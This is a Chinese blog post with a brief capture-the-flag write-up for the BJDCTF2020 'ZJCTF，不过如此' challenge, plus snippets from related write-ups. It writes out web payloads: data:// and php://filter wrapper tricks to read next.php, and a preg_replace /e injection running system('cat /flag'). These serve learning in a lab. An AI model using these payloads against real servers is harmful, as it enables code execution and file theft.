ZJCTF，不过如此

最新推荐文章于 2024-05-25 12:17:21 发布

原创最新推荐文章于 2024-05-25 12:17:21 发布 · 138 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php #开发语言 #经验分享

打开靶机

看见if知道条件要求写text函数包含i have a dream。

一整个疑惑住，返回重看一下发现漏了个点,重新补上要求包含的next.php。

index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

base64解码

next.php?\S%2b=${getFlag()}&cmd=system('cat /flag');

over。

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

evil_ming

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

[BJDCTF2020]ZJCTF，不过如此

夜幕下的灯火阑珊的博客

05-14

2144

知识点 php://input filter伪协议 preg_replace() /e模式命令执行题目源码 <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I...

[BJDCTF2020]ZJCTF，不过如此 -wp

freerats的博客

08-02

563

打开容器，进行代码审计传入text和file参数，第一个可以用data伪协议绕过，然后接下来是一个文件包含，可以用php协议读取数据。无法直接打开提示的next.php，所以用php协议读一下。 ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php 读出的源码如下 <?php $id = $_GET['id']; $_SESS.

参与评论您还未登录，请先登录后发表或查看评论

BUUCTF---web---[BJDCTF2020]ZJCTF，不过如此

最新发布

2201_75556700的博客

05-25

879

的函数，用于对字符串进行正则替换操作。具体来说，它会将匹配到的字符串转换为小写。传入一个参数text，里面的内容要包括I have a dream。在文件包含那一行，我们看到了next.php的提示，我们尝试读取文件。定义了一个getFlag函数，将参数cmd中的参数输出。/ei:当作php代码来执行，忽略大小写。5、由此我们可以构造新payload。根据代码：我们构造payload。1、点开连接，页面出现了提示。），然后将其赋值给一个变量。

buuctf-[BJDCTF2020]ZJCTF，不过如此

qq_42728977的博客

12-26

2653

[BJDCTF2020]ZJCTF，不过如此考点复现参考考点 preg_replace /e 参数执行漏洞、php伪协议、转义绕过复现点开链接 <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1&g

buuctf-[BJDCTF2020]ZJCTF，不过如此（小宇特详解）

小宇的web博客

02-12

1739

buuctf-[BJDCTF2020]ZJCTF，不过如此（小宇特详解）打开题目： <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')

web buuctf [BJDCTF2020]ZJCTF，不过如此

weixin_44214568的博客

03-23

2078

考点:正则匹配; 正则-反向引用; preg_replace /e模式漏洞 1. 一路做buuctf下来, web buuctf [ZJCTF 2019]NiZhuanSiWei1_半杯雨水敬过客的博客-优快云博客和这题的思路一样,不做赘述,主要是利用php伪协议 1.令text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=(I have a dream的base64加密) file=php://filter/read=convert..

[BJDCTF2020]ZJCTF，不过如此1

qq_48008847的博客

07-16

1973

通过分析代码,get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开，打开后内容要与"I have a dream"字符串相匹配，才能执行下面的文件包含$file参数。看到用的是file_get_contents()函数打开text参数，以及后面的文件包含函数，自然的想到php伪协议中的data://协议用filter协议去读下next.php的源码获取next.php的payload: index.php?text=data://text..

[BJDCTF2020]ZJCTF，不过如此(php双引号、伪协议、preg_replace）

qq_43622442的博客

05-09

2286

[BJDCTF2020]ZJCTF，不过如此(php双引号、伪协议、preg_replace） 1.打开网站，审计，第一个if可以用php://input 或者 data://伪协议绕过，php伪协议分析可看php伪协议： 2.然后往下，提示next.php文件，这里可以用php://filter伪协议拿到它的源码： 3.payload： http://90812d78-a226-4cdf-be8f-8baa9961fb89.node3.buuoj.cn/?text=php://input&f

[BJDCTF2020]ZJCTF，不过如此（特详解）

热门推荐

qq_74806534的博客

01-24

1万+

而这段代码里面的第一个子匹配项就是${phpinfo()}。编码设定，这是一个可选项，base64 编码中仅包含 0-9,a-z,A-Z,+,/,=，其中 = 是用来编码补白的。我们先看第二个参数中的\1 ，\1实际上就是 \1，而 \1 在正则表达式中有自己的含义，最后一部分为这个 Data URI 承载的内容，它可以是纯文本编写的内容，也可以是经过 base64编码的内容。单引号中的变量不会被处理。这里我们发现了.变成了_，这是因为php会将传入的非法的参数名转成下滑线，所以我们的正则匹配才会失效。

BUUCTF- ZJCTF，不过如此题目解析

2201_75327657的博客

03-29

583

发现有preg——replace说明有代码执行问题。源码中的\\1实际等于\1本身的\1有其他意思。打开查看源码查看有file说明是伪协议。preg——replace相关链接（得到base64编码解析出来为。那就利用filter查看。

[BUUCTF][BJDCTF2020]ZJCTF，不过如此

cosmoslin的博客

01-24

827

考点代码审计命令执行解题打开环境 <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br&

[BJDCTF2020]ZJCTF，不过如此（读取文件、preg_replace与代码执行）

qq_44111753的博客

02-04

195

知识点伪协议读取文件深入研究preg_replace与代码执行 /e模式的preg_replace,有一个远程代码执行漏洞:/e 修正符使 preg_replace() 将 replacement 参数（第二个参数，字符串）当作 PHP 代码执行(其实php双引号都能导致代码执行的)。题解先读取next.php的源码（与上题方法一样） preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); \\1其实就是\1,\

[BJDCTF2020]ZJCTF，不过如此 1

weixin_45674567的博客

05-21

569

参考参考参考这是火狐浏览器显示这是qq浏览器显示，步骤一样，结果就这样了详细的解释就不说了，看完三个参考，一清二楚，我也是看完做出来还是太弱了，得加油！！！

[bjdctf2020]zjctf，不过如此

03-16

好的，我来回复一下。 [bjdctf202]zjctf，不过如此，是一道比赛题目的名称。具体的题目内容和解法我不清楚，因为我只是一个人工智能语言模型，没有参加过这个比赛。不过，如果您有相关的问题或者需要帮助，我会尽力回答和帮助您。